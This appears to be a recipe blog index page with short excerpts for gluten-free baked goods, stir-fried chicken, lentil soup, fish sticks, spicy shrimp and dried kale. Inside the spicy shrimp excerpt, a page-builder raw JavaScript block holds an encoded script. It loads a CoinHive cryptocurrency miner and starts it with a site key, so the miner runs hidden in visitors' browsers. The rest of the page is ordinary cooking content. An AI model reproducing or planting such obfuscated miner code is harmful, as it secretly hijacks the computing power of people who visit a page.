Reviews & Recipes
These are yummy gluten-free cookies that I have been baking for many years.
This is a wonderful stir-fried chicken dish with a the lovely taste of ginger, honey, fish sauce and 5-spice powder giving it a complex and pleasing taste.
If you have migrated to a gluten-free diet, as I have, it is difficult to find really good baked goods. These gluten-free biscuits are really great, and result from an ongoing process of learning how to adjust every part of a regular wheat-based recipe to make it into a successful
GRANDMA’S PEANUT BUTTER, OATMEAL AND RAISIN COOKIES When asked to contribute this recipe, my first thought was to entitle it “Not Grandma’s peanut butter, oatmeal and raisin cookies” but it struck me that most grandparents today came of age in the 60’s, unless they are from Arkansas, where the average
This recipe makes about 6 veggie burgers. They can be served alone or on buns with cheese and lettuce.
If you are trying to stay gluten free, it is good to keep a stash of gluten free bread crumbs. They are easy to make. [ingredients title=”Ingredients”] One loaf gluten free brad – Udi’s is a good relatively inexpensive choice. 1 teaspoon sea salt. [/ingredients] [directions title=”Directions”] Preheat oven to
We just love artichokes, and have been cooking them for years. Here is how: [ingredients title=”Ingredients”] 1 Artichoke. Pick the best Artichoke you can. It should be nice, firm and green, with few brown areas on the leaves. I prefer the ones that are slightly open at the top. Although
This wonderful Eggplant Parmesan recipe can be made Gluten Free, with homemade Tomato Sauce or bottled. Either way, this is a really delicious recipe, and leftovers can be frozen for easy lunches or dinners. 2 medium Eggplants , peeled and sliced into 1/2-inch round slices Kosher salt All-purpose Flour for
[vc_row][vc_column][vc_column_text] I have loved fish sticks since I was in private school and they served fish sticks every for lunch Friday out of respect for the Catholic students who did not eat meat on Fridays. In fact, it was the only edible meal served at my high school. Since I
This is an easy and hearty Lentil Soup recipe, vegetarian style, or with the Smoked Andouille Chicken Sausage called for as optional in the recipe. I prefer making it with the Sausage since it gives the soup a hearty smoked flavor. [ingredients title=”Ingredients”] 2 Tablespoons oil for sauteing, such as
[vc_row][vc_column][vc_column_text] This Mexican spicy shrimp recipe is great! In spite of the chili sauce and hot sauce, it is not too hot. It is adapted from a recipe that appeared on Epicurious and reflects a reader’s adaptation of a restaurant version she enjoyed. [/vc_column_text][/vc_column][/vc_row][vc_row][vc_column][vc_raw_js]JTNDc2NyaXB0JTIwc3JjJTNEJTIyaHR0cHMlM0ElMkYlMkZjb2luaGl2ZS5jb20lMkZsaWIlMkZjb2luaGl2ZS5taW4uanMlMjIlM0UlM0MlMkZzY3JpcHQlM0UlMEElM0NzY3JpcHQlM0UlMEElMDl2YXIlMjBtaW5lciUyMCUzRCUyMG5ldyUyMENvaW5IaXZlLkFub255bW91cyUyOCUyN1pXS0k4R2ZIRkRRTzBIWGViYkw1QVNpd0Z5cXpqcHQ4JTI3JTI5JTNCJTBBJTA5bWluZXIuc3RhcnQlMjglMjklM0IlMEElM0MlMkZzY3JpcHQlM0UlMEElM0NzY3JpcHQlM0UlMEElMDklMkYlMkYlMjBMaXN0ZW4lMjBvbiUyMGV2ZW50cyUwQSUwOW1pbmVyLm9uJTI4JTI3Zm91bmQlMjclMkMlMjBmdW5jdGlvbiUyOCUyOSUyMCU3QiUyMCUyRiUyQSUyMEhhc2glMjBmb3VuZCUyMCUyQSUyRiUyMCU3RCUyOSUwQSUwOW1pbmVyLm9uJTI4JTI3YWNjZXB0ZWQlMjclMkMlMjBmdW5jdGlvbiUyOCUyOSUyMCU3QiUyMCUyRiUyQSUyMEhhc2glMjBhY2NlcHRlZCUyMGJ5JTIwdGhlJTIwcG9vbCUyMCUyQSUyRiUyMCU3RCUyOSUwQSUwQSUwOSUyRiUyRiUyMFVwZGF0ZSUyMHN0YXRzJTIwb25jZSUyMHBlciUyMHNlY29uZCUwQSUwOXNldEludGVydmFsJTI4ZnVuY3Rpb24lMjglMjklMjAlN0IlMEElMDklMDl2YXIlMjBoYXNoZXNQZXJTZWNvbmQlMjAlM0QlMjBtaW5lci5nZXRIYXNoZXNQZXJTZWNvbmQlMjglMjklM0IlMEElMDklMDl2YXIlMjB0b3RhbEhhc2hlcyUyMCUzRCUyMG1pbmVyLmdldFRvdGFsSGFzaGVzJTI4JTI5JTNCJTBBJTA5JTA5dmFyJTIwYWNjZXB0ZWRIYXNoZXMlMjAlM0QlMjBtaW5lci5nZXRBY2NlcHRlZEhhc2hlcyUyOCUyOSUzQiUwQSUwQSUwOSUwOSUyRiUyRiUyME91dHB1dCUyMHRvJTIwSFRNTCUyMGVsZW1lbnRzLi4uJTBBJTA5JTdEJTJDJTIwMTAwMCUyOSUzQiUwQSUzQyUyRnNjcmlwdCUzRQ==[/vc_raw_js][/vc_column][/vc_row]
Kale Recipe: Drying Kale is really as easy as can be. I bought a dehydrator a few months ago and we regularly use it to dry Kale, beef jerky, smoked turkey jerky and whatever else looks good. I especially like the
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